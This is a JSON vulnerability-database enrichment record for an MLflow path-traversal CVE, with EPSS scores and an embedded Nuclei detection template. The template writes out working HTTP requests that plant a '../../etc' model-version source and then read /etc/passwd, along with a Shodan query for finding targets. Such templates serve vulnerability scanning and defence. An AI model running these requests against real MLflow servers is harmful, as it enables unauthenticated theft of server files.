{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2026-116690/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2026-116690/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2026-116690/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2026-116690/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2026-116690/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2026-116690/enrichment"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2026-116690"
    },
    "vulnerability": {
      "href": "/api/v1/vulnerability/cve-2026-116690"
    }
  },
  "enrichments": {
    "cisa-kev": {
      "kev": false
    },
    "epss": {
      "epss": 0.00559,
      "kev": false,
      "percentile": 0.46562
    },
    "nuclei": {
      "nuclei": true,
      "nuclei_template": "http/cves/2026/CVE-2026-116690.yaml",
      "nuclei_template_severity": "high",
      "nuclei_template_yaml": "id: CVE-2026-116690\n\ninfo:\n  name: MLflow 3.10.0-3.16.1 - Arbitrary File Read\n  author: ashish-cybersec\n  severity: high\n  description: |\n    MLflow 3.10.0 through 3.16.1 contains a path traversal in the prompt branch of the CreateModelVersion handler. The fix for CVE-2026-2614 only validated prompt sources that carry a URL scheme, so a schemeless relative path such as ../../../etc is stored unchanged as the model version artifact location and later served by the model-versions/get-artifact endpoint, letting unauthenticated remote attackers read arbitrary files from the server filesystem.\n  impact: |\n    Unauthenticated attackers can read arbitrary files on the server, leading to complete confidentiality compromise.\n  remediation: |\n    Upgrade to version 3.17.0 or later.\n  reference:\n    - https://github.com/mlflow/mlflow/security/advisories/GHSA-m65p-9j7q-6w33\n    - https://github.com/mlflow/mlflow/pull/25870\n    - https://github.com/mlflow/mlflow/commit/81730a2ce4ebcd60d5d18f68c96f422ad7e30772\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-116690\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\n    cvss-score: 7.5\n    cve-id: CVE-2026-116690\n    epss-score: 0.01801\n    epss-percentile: 0.78565\n    cwe-id: CWE-22\n  metadata:\n    max-request: 3\n    verified: true\n    vendor: mlflow\n    product: mlflow\n    shodan-query: http.title:\"MLflow\"\n  tags: cve,cve2026,mlflow,lfi,vkev\n\nvariables:\n  model: \"{{to_lower(rand_base(10))}}\"\n\nflow: http(1) && http(2) && http(3)\n\nhttp:\n  - raw:\n      - |\n        POST /api/2.0/mlflow/registered-models/create HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\"name\":\"{{model}}\"}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - \"status_code == 200\"\n          - 'contains(body, \"registered_model\")'\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        POST /api/2.0/mlflow/model-versions/create HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\"name\":\"{{model}}\",\"source\":\"../../../../../../../../etc\",\"tags\":[{\"key\":\"mlflow.prompt.is_prompt\",\"value\":\"true\"}]}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - \"status_code == 200\"\n          - 'contains(body, \"model_version\")'\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        GET /model-versions/get-artifact?name={{model}}&version=1&path=passwd HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers-condition: and\n    matchers:\n      - type: regex\n        part: body\n        regex:\n          - \"root:.*:0:0:\"\n\n      - type: status\n        status:\n          - 200\n# digest: 4a0a00473045022015946ec7743fae92e984f4814f0fc62adc99625d2390af2cb2c24390afcc4bb30221009e34d5018a3b4d9c89040928ca463ba0650b299c9ce21ab464f11fe161898424:922c64590222798bb761d5b6d8e72950"
    }
  },
  "vuln_id": "cve-2026-116690"
}